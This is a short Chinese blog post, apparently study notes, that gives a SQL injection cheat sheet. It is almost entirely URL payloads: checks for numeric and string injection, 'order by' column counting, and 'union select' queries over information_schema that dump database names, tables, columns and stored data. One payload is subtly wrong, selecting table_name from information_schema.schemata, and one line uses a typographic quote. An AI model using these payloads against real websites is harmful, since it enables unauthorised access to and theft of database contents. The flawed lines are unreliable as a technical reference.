SQL注入漏洞
SQL注入_2025
数字型 or 字符型?
数字型:
url?xxx.php?id=1 and 1=1,页面显示正常url?xxx.php?id=1 and 1=2,页面报错,说明存在数字型注入。
字符型:
url?xxx.php?id=1' and '1'='1,页面正常url?xxx.php?id=1' and '1'='2,页面报错,说明存在字符型注入。
判断列数
id=1’ order by 4--+报错id=1' order by 3--+页面无报错,说明存在3列。
爆出数据库
?id=-1' union select 1,database(),3--+?id=-1' union select 1,group_concat(table_name),3 from information_schema.schemata--+
爆出数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'--+
爆表名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#
爆表中信息
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Hexo!